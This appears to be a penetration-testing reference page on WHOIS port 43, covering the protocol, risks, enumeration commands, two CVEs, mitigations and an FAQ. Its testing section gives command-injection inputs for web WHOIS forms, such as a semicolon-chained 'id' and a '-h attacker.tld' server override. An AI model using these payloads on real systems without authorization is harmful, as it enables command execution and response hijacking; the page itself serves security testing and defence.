Port 43 – WHOIS (WHOIS Protocol)

Port 43 is the default port for WHOIS, the query-and-response protocol (RFC 3912) that returns registration data for a domain, an IP address, or an autonomous system. A client opens a TCP connection, sends one line — the object to look up — and the server answers with freeform text, then closes the connection. There’s no authentication and no encryption, so both the query and the reply travel in cleartext. The catch that makes port 43 interesting on an engagement isn’t the query, it’s the response: anything that parses that text can be attacked by whoever controls it.

Why It’s Open

WHOIS is run by the registries and Regional Internet Registries that own the data: Verisign answers for .com/.net at whois.verisign-grs.com, and ARIN, RIPE, APNIC, LACNIC, and AFRINIC answer for IP ranges and ASNs. Registrars run their own servers too.

That estate is shrinking. On 28 January 2025 ICANN dropped the requirement for gTLD registries and registrars to run WHOIS on port 43, and pointed everyone at RDAP (the same data over HTTPS as JSON) instead. Plenty of servers still answer on 43 — ccTLDs and the RIRs mostly still use it — but a gTLD WHOIS host going quiet is now expected rather than a finding. Where you see port 43 open on a corporate host, it’s usually an internal WHOIS mirror, a network appliance, or the backend of a web-based “domain lookup” feature — which is where the DNS and registration recon trail often leads.

Common Risks

• Registration data disclosure. Registrant org, abuse contacts, nameservers, sponsoring registrar, netblock and ASN ownership. GDPR and ICANN redaction stripped most personal fields from gTLD output in 2018, but ccTLD records, RIR data, and historical snapshots still hand you enough for target mapping and phishing pretexts.
• Untrusted responses feeding a parser or shell. The query is trivial; the response is attacker-influenced if you control the looked-up domain or its WHOIS server. Apps that pipe raw WHOIS text into mail, eval, or a template get command or code execution out of it — this is the real WHOIS bug class (Fail2Ban, phpWhois below).
• Command injection / SSRF via web WHOIS forms. A lookup feature that shells out to the whois binary with user input is a textbook injection surface: shell metacharacters run commands, and a -h attacker.tld in the query field redirects the lookup to a server you control.
• Hijackable WHOIS servers. Legacy clients hardcode WHOIS hostnames. If one of those domains lapses, whoever registers it serves every response those clients trust — no exploit required.
• Harvesting and resource abuse. Unauthenticated by design, so servers get bulk-scraped into datasets, and per-IP rate limits fall to distributed querying.

Want to save time on reporting?

Let PentestPad generate, track, and export your reports - automatically.

Book a Demo

Enumeration & Testing

Confirm the service and grab the version

nmap -sV -p 43 <target>

Pull domain and IP records with the NSE scripts

nmap -p 43 --script whois-domain,whois-ip <target>

Raw query with netcat

echo "example.com" | nc <target> 43

Query a specific server with the native client

whois -h <target> -p 43 example.com
whois -h <target> 8.8.8.8

Test a web WHOIS form for injection / server override

# in the lookup field — does it shell out to the whois binary?
example.com -h attacker.tld    # redirect the lookup to your server
example.com; id                # shell metacharacters

If the form reflects raw output and you can point it at a WHOIS server you control, you own the response — feed it whatever the downstream parser mishandles. Keep every open port 43, leaked record, and injection point in the pentest report as you go, so the evidence and its impact stay together.

What to Look For

Known CVEs and Exploits

• CVE-2021-32749 — Remote code execution in Fail2Ban’s mail-whois action. Fail2Ban emailed WHOIS output through the mailutils mail command, which treats a ~ at the start of a line (after a newline) as an escape into interactive commands. A crafted WHOIS response — served by a malicious or hijacked WHOIS server for the banned IP’s network — runs arbitrary commands as the Fail2Ban user. Fixed in 0.10.7 / 0.11.3 by disabling the escape (-E 'set escape').
• CVE-2015-5243 — PHP code injection in phpWhois before 5.1.0. generic_parser_b built a PHP statement from WHOIS record values and passed it to eval, so an attacker controlling the WHOIS data for a looked-up domain could execute arbitrary PHP in the app. Detailed in the SBA Research advisory; update to jsmitty12 5.1.0+.

Both bugs are the same shape: the WHOIS response is untrusted input, and the client parsed it as code.

Mitigation

• Move to RDAP where it exists. It’s the ICANN-mandated replacement, served over HTTPS as structured JSON — far safer to parse than freeform WHOIS text, and it authenticates the server via TLS.
• Never pass raw WHOIS output into a shell, mail, eval, or a template. Treat the response as hostile input: sanitize, allowlist, and don’t hand it to anything that interprets metacharacters.
• Don’t shell out to the whois binary with user input. For web lookups, pin the server, strip -h and shell metacharacters, or use a library that speaks the protocol directly.
• Patch the integrations that parse WHOIS — Fail2Ban ≥ 0.11.3, phpWhois ≥ 5.1.0, and anything else that emails or evaluates lookup results.
• If you run a public WHOIS server, rate-limit per source, redact personal registrant fields, and firewall port 43 to the networks that actually need it.

Real-World Example

In September 2024, watchtowr Labs spent about $20 to register whois.dotmobiregistry.net — the retired WHOIS server for the .mobi TLD that legacy clients still queried on port 43 after the real service had moved. Within days they received roughly 2.5 million queries from tens of thousands of distinct systems, including mail servers, security tooling, and certificate authorities that used WHOIS responses to verify domain ownership before issuing TLS certificates. They never had to break anything: whoever controls the response controls every downstream decision built on it — the exact trust flaw that CVE-2021-32749 and CVE-2015-5243 turn into direct code execution.

FAQ

What is port 43 used for?

Port 43 is the default WHOIS port. A client sends a domain, IP address, or ASN over TCP and the server returns its registration record — registrar, registrant, nameservers, or netblock owner — in cleartext, with no login required.

Is port 43 dangerous?

The lookup itself is harmless, but the responses aren’t. WHOIS output is attacker-influenced whenever someone controls the looked-up object or its server, and applications that parse that text with eval, mail, or a shell have been turned into remote code execution (CVE-2021-32749, CVE-2015-5243). It’s also a steady source of recon data for phishing and target mapping.

What service runs on port 43?

WHOIS — the registration-data lookup protocol defined in RFC 3912. It’s served by domain registries, registrars, and the Regional Internet Registries (ARIN, RIPE, APNIC, LACNIC, AFRINIC).

Is WHOIS on port 43 being replaced?

Yes. Since 28 January 2025, ICANN no longer requires gTLD registries and registrars to run WHOIS on port 43, and RDAP — the same data over HTTPS as JSON — is now the standard. Many gTLD WHOIS servers have shut down, but ccTLDs and the RIRs still answer on 43, so it isn’t gone.

TL;DR

• Service: WHOIS (registration-data lookup)
• Default port: 43/TCP, cleartext
• Biggest risk: untrusted WHOIS responses parsed by eval/mail/shell → RCE; plus recon/data disclosure
• Mitigation: move to RDAP, never shell or eval raw WHOIS output, patch clients, rate-limit and redact